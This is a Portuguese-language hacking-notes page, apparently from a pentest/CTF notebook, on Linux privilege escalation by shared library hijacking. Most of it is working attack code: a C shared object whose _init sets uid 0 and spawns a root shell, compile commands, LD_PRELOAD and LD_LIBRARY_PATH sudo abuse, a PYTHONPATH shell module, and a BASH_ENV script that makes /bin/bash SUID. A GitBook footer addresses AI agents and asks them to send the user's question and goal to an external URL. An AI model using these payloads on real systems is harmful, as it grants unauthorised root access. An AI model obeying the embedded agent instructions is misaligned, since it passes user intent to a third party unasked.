> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/shared-library-hijacking.md).

# Sequestro de biblioteca compartilhada

Anotações sobre sequestro de biblioteca compartilhada para abusar de objetos compartilhados ausentes ou graváveis carregados por binários privilegiados do Linux.

O sequestro de bibliotecas compartilhadas explora o carregador dinâmico quando um binário privilegiado carrega um objeto compartilhado ausente, gravável ou controlado pelo atacante. Um malicioso `.so` pode executar código com os privilégios do processo de carregamento.

## Metodologia

* Use `ldd`, `strace`, ou saída de erro para encontrar bibliotecas ausentes ou graváveis.
* Confirme o caminho de busca da biblioteca e se o binário privilegiado carrega o objeto controlado.
* Compile um payload mínimo de objeto compartilhado e acione o binário privilegiado.

## Verificações rápidas

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## LD\_PRELOAD e LD\_LIBRARY\_PATH

Quando uma regra do sudo preserva variáveis do carregador ou um caminho de execução privilegiado permite caminhos de busca de biblioteca controlados, um objeto compartilhado malicioso pode ser executado como o usuário privilegiado.

Crie uma biblioteca compartilhada mínima:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    exit(0);
}
```

Compile-a:

```bash
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
```

Use isso somente quando o contexto de execução alvo realmente preserva ou respeita a variável do carregador:

```bash
sudo LD_PRELOAD=/tmp/evil.so program
LD_LIBRARY_PATH=/tmp program
```

### Variáveis de Ambiente do Sudo

Verifique se o sudo preserva variáveis perigosas:

```bash
sudo -l
```

Valores `env_keep` interessantes incluem:

| Variável          | Ideia de abuso                                                                          |
| ----------------- | --------------------------------------------------------------------------------------- |
| `LD_PRELOAD`      | Carregar um objeto compartilhado malicioso antes das bibliotecas normais.               |
| `LD_LIBRARY_PATH` | Redirecionar a busca de bibliotecas para caminhos controlados pelo atacante.            |
| `PATH`            | Forçar a execução de comandos relativos por meio de binários controlados pelo atacante. |
| `PYTHONPATH`      | Carregar módulos Python maliciosos em código Python executado via sudo.                 |
| `PERL5LIB`        | Carregar módulos Perl maliciosos em código Perl executado via sudo.                     |

### Exemplo de PYTHONPATH

Se uma regra do sudo executa Python e preserva `PYTHONPATH`:

```bash
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
export PYTHONPATH=/tmp
sudo python -c "import evil"
```

### Exemplo de BASH\_ENV

Se um programa privilegiado executa `sh` de forma que carregue `BASH_ENV`, teste com um script controlado:

```bash
cat > /tmp/script.sh <<'EOF'
chmod +s /bin/bash
EOF
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
/path/to/suid_binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-link" style="color:$primary;">:link:</i></h3></td><td><h4>Sequestro de Biblioteca Compartilhada libwelcome.so</h4></td><td>Notas sobre Sequestro de Biblioteca Compartilhada (libwelcome.so) para escalonamento de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação com foco em relatórios.</td><td><a href="/pt-br/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md">Sequestro de biblioteca compartilhada libwelcome.so - Escalação de privilégios no Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/shared-library-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
